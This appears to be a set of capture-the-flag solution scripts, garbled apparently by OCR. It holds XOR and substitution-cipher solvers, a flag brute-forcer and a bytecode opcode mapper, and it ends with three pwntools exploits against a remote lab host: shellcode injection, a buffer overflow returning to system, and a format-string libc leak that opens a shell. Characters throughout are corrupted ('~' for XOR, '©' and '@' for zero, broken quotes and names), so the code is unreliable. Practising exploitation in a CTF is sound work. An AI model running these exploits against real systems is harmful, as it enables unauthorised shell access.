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import sys
filel b = bytearray(open('./ReflectionShell.ReflectionCore.exe', 'rb').read())

size = len(filel_b)
xord_byte_array = bytearray(size)

# XOR
for i in range(size):

xord_byte_array[i] = filel b[i] ~ 99

# Write the XORd bytes to the output file
open('xx.exe', 'wb').write(xord_byte_array)
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#include "Flag.h"

#include "stdafx.h"

#include <iostream>

using namespace std;

__declspec(dllexport) void _0() {
cout << "O@";

}
__declspec(dllexport) void _1() {
cout << "1";

}

int main()

{

cout << "fuck" << endl;
return 0;
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# from Crypto.Util import Counter
# from Crypto.Cipher import AES

def main():

known_plain bytes.fromhex('3026B2758E66CF11A6D900AA0062CE6C" )
known_cipher = bytes.fromhex('3e8652327e4d1a0e871865eb29485dcc")

# plain_@ = '@' * 16
# cipher_0 = '0@ea@ed47f02bd51f21c16541292a932a0"

key = bytearray(16)

for i in range(16):
key[i] = known_cipher[i] ~ known_plain[i]

key = bytes(key)

key aes_iv = bytes(key)

cipher = open('./flag.wmv.enc', 'rb').read()

# ctr = Counter.new(128)

# decryptor = AES.new(key=key, mode=AES.MODE_CTR, counter=ctr)
# plain = decryptor.decrypt(cipher)

1 = len(cipher)

plain = bytearray(1l)

for i in range(l):
plain[i] = cipher[i] ~ (key[i % 16])

f = open(‘'plain.wmv', ‘wb")

f.write(plain)
f.close()

if _name__ == '__main__"':
main()
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def is_chinese(uchar):
if uchar >= u'\u4E@0' and uchar <= u'\u9FA5':
return True
else:
return False

def wordcount(f, encoding):
d={}
try:
with open(f, 'r') as txt:
for line in txt:
u = line
for uchar in u:
if is_chinese(uchar):
if uchar in d.keys():
d[uchar] += 1
else:
d[uchar] =1
except IOError as ioerr:
print("error"

return d

def analyse(word_dict):
count_sum = ©
for k, v in word_dict.items():
count_sum += v
sd = sorted(word_dict.items(), key=lambda x: x[1], reverse=True)
print(sd)
exchange(sd)

def exchange(word_dict):
freq = ['e', 't', 'a', 'n', 'i', 's', ‘o', 'h', 'r', 'd', '1', 'u', £, 'g', ‘w'

res = {}
for i, (k, v) in enumerate(word_dict):
res[k] = freq[i]

newfile = open('plain.txt', 'w')

with open('ss.txt', 'r') as txt:
for line in txt:
newline = ''.join([res[ch] if is_chinese(ch) else ch for ch in line])
print(newline)
newfile.write(newline)

print(res)

if _name__ == '_main__':
d = wordcount('./ss.txt"', 'utf-8')
analyse(d)
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#include <cstdio>
#include <cstring>
// encrypt(a,b) &4 gl 5 BRI SR 0 25 ok 24
const char *dest = "EJAFDTHQDVCWJIDDSINDHCJEZCGJISJKGREIFAHVDKIICBHLIFJIQEUFMFWCQIUFLHGCFGWIJABIFMGEEM";
void brute()
{
char a[100];
char b[100];
char c[100];
for (int i = @; i < 100; ++i) a[i] = o;
a[e] = 't’;
a[1] = '3";
a[2] = '{"
for (int i = 3; i < 39; ++i) {
for (char ch = @; ch < 128; ++ch) {
a[i] = ch;
for (int _ = 0; _ < 100; ++_) b[_] = 0;
encrypt(a, b);
strncpy(c, dest, 2*(i+1));
c[2*(i+1)] = o;
if (strcmp(b, c) == 0) {

Bl

break;
}
}
printf("%s\n", a);
}
}
int main()
{
brute();
return 0;
}
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from pwn import *

sh = remote('10.10.175.209"', 10003)
# sh = process('./pwn300")

payload = asm(shellcraft.i386.1inux.sh())
print payload

sh.sendline(payload)

sh.interactive()

sh.close()
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import sys
import marshal
opmap = {}

def compare(cobjl, cobj2):
codestrl = bytearray(cobjl.co_code)
codestr2 = bytearray(cobj2.co_code)
if len(codestrl) != len(codestr2):
print("two cobj has different length, skipping")
return
i=20
while i < len(codestrl):
if codestrl[i] not in opmap:
opmap[codestrl[i]] = codestr2[i]
else:
if opmap[codestrl[i]] != codestr2[i]:
print(codestri[i], ' -> ', codestr2[i])
print("error: has wrong opcode")
break
if codestri[i] < 90:
i+=1
elif codestrl[i] >= 90:
i+=2
else:
print("wrong opcode")
for constl, const2 in zip(cobjl.co_consts, cobj2.co_consts):
if hasattr(constl, 'co_code') and hasattr(const2, 'co_code'):
compare(constl, const2)

def usage():
print("Usage: %s filenamel.pyc filename2.pyc")

def main():
if len(sys.argv) != 3:
usage()
return
cobjl = marshal.loads(open(sys.argv[1l], 'rb').read())
cobj2 = marshal.loads(open(sys.argv[2], 'rb').read())
compare(cobjl, cobj2)

res = {}
for k, v in opmap.items():
if k 1= v: # res[bytes((v,))] = bytes((k,))

res[v] = k

print(res)

for k, v in res.items():
print(k, '->', v)

if _ _name__ ' _main__':

main()
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from pwn import *

r = remote('10.10.175.209"', 10004)

system_arg = p32(0x80485d3 + 8)

payload = 'A' * 0x100 + 'a' * 16 + p32(0x08048380) + 'b' * 4 + system_arg
r.sendline(payload)

r.interactive()
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# %83%p
# then libc-database get system_addr and bash_addr

from pwn import *

DEBUG = ©

# r = process('./pwn500"')

r = remote('10.10.175.209', 10005)

#

if DEBUG:
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(r)[0])

#

kid_addr = p32(0x0804854d)
payload = '%83%p' + 'A' * (0x100 + 16 - 5) + kid_addr
r.sendline(payload)

res = r.recv(1024)
print res

start_addr = int(res[0:10], 16)

print 'start_main_addr:', hex(start_addr)

#

system_addr = start_addr - 0x18637 + Ox00032940

sh_addr = start_addr - 0x18637 + 0x15900b # failed why ?
print 'system_addr:', hex(system_addr)

print 'sh_addr:', hex(sh_addr)

# 0x804a070 frbssBk, A "sh" HA, i \x73\x68\x00\x00
payload2 = fmtstr_payload(7, {0x0804a070: 0x00006873})

payload2 += 'B' * (0x100 + 16 - len(payload2)) + p32(system_addr) + kid_addr + p32(0x08042070)

r.sendline(payload2)
r.interactive()
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